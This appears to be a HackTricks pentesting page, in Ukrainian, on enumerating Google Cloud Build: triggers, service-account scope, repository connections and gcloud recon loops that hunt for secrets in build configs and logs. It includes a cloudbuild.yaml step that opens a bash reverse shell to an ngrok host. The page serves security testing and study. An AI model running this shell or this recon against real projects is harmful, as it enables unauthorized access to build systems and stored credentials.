GCP - Cloud Build Enum

Підтримайте HackTricks

Основна інформація

Google Cloud Build - це керована платформа CI/CD, яка автоматизує процеси збірки програмного забезпечення та випуску, інтегруючись з репозиторіями вихідного коду та підтримуючи широкий спектр мов програмування. Вона дозволяє розробникам автоматично збирати, тестувати та розгортати код, надаючи гнучкість для налаштування кроків збірки та робочих процесів.

Кожен Cloud Build Trigger пов'язаний з Cloud Repository або безпосередньо підключений до зовнішнього репозиторію (Github, Bitbucket та Gitlab).

Я не зміг знайти спосіб викрасти токен Github/Bitbucket звідси або з Cloud Repositories, тому що коли репозиторій завантажується, він доступний через URL https://source.cloud.google.com/ і Github не доступний клієнтом.

Події

Cloud Build може бути запущений, якщо:

  • Push до гілки: Вкажіть гілку

  • Push нового тегу: Вкажіть тег

  • Pull request: Вкажіть гілку, яка отримує PR

  • Ручний виклик

  • Повідомлення Pub/Sub: Вкажіть тему

  • Подія вебхука: Буде відкрито HTTPS URL, і запит повинен бути автентифікований за допомогою секрету

Виконання

Є 3 варіанти:

  • yaml/json вказуючи команди для виконання. Зазвичай: /cloudbuild.yaml

  • Єдиний, який можна вказати "inline" у веб-консолі та в cli

  • Найпоширеніший варіант

  • Важливо для неавтентифікованого доступу

  • Dockerfile для збірки

  • Buildpack для збірки

Права SA

Обліковий запис служби має cloud-platform scope, тому він може використовувати всі привілеї. Якщо не вказано обліковий запис служби (наприклад, при виконанні submit), буде використано обліковий запис служби за замовчуванням <proj-number>@cloudbuild.gserviceaccount.com.

За замовчуванням права не надаються, але їх досить легко надати:

Затвердження

Можливо налаштувати Cloud Build для вимоги затверджень для виконання збірок (за замовчуванням вимкнено).

Затвердження PR

Коли тригером є PR, оскільки будь-хто може виконувати PR до публічних репозиторіїв, було б дуже небезпечно просто дозволити виконання тригера з будь-яким PR. Тому за замовчуванням виконання буде автоматичним лише для власників та співробітників, і для виконання тригера з PR інших користувачів власник або співробітник повинен прокоментувати /gcbrun.

Підключення та репозиторії

Підключення можуть бути створені через:

  • GitHub: Буде показано OAuth запит на дозвіл отримати токен Github, який буде збережено в Secret Manager.

  • GitHub Enterprise: Буде запропоновано встановити GithubApp. Буде створено токен автентифікації з вашого хоста GitHub Enterprise і збережено в цьому проекті як секрет у Secret Manager.

  • GitLab / Enterprise: Вам потрібно надати токен доступу до API та токен доступу до Read API, які будуть збережені в Secret Manager.

Після створення підключення ви можете використовувати його для зв'язування репозиторіїв, до яких має доступ обліковий запис Github.

Ця опція доступна через кнопку:

Зверніть увагу, що репозиторії, підключені цим методом, доступні лише в тригерах, що використовують 2-ге покоління.

Підключити репозиторій

Це не те саме, що підключення. Це дозволяє різні способи отримати доступ до репозиторію Github або Bitbucket, але не створює об'єкт підключення, але створює об'єкт репозиторію (1-го покоління).

Ця опція доступна через кнопку:

Зберігання

Іноді Cloud Build буде створювати нове сховище для зберігання файлів для тригера. Це відбувається, наприклад, у прикладі, який пропонує GCP:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Бакет Storage під назвою security-devbox_cloudbuild створено для зберігання .tgz з файлами, які будуть використовуватися.

Отримати shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Встановлення gcloud всередині cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Перерахування

Ви можете знайти чутливу інформацію в конфігураціях та журналах збірок.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Підвищення привілеїв

GCP - Cloudbuild Privesc

Неавтентифікований доступ

GCP - Cloud Build Unauthenticated Enum

Постексплуатація

GCP - Cloud Build Post Exploitation
Підтримайте HackTricks

Last updated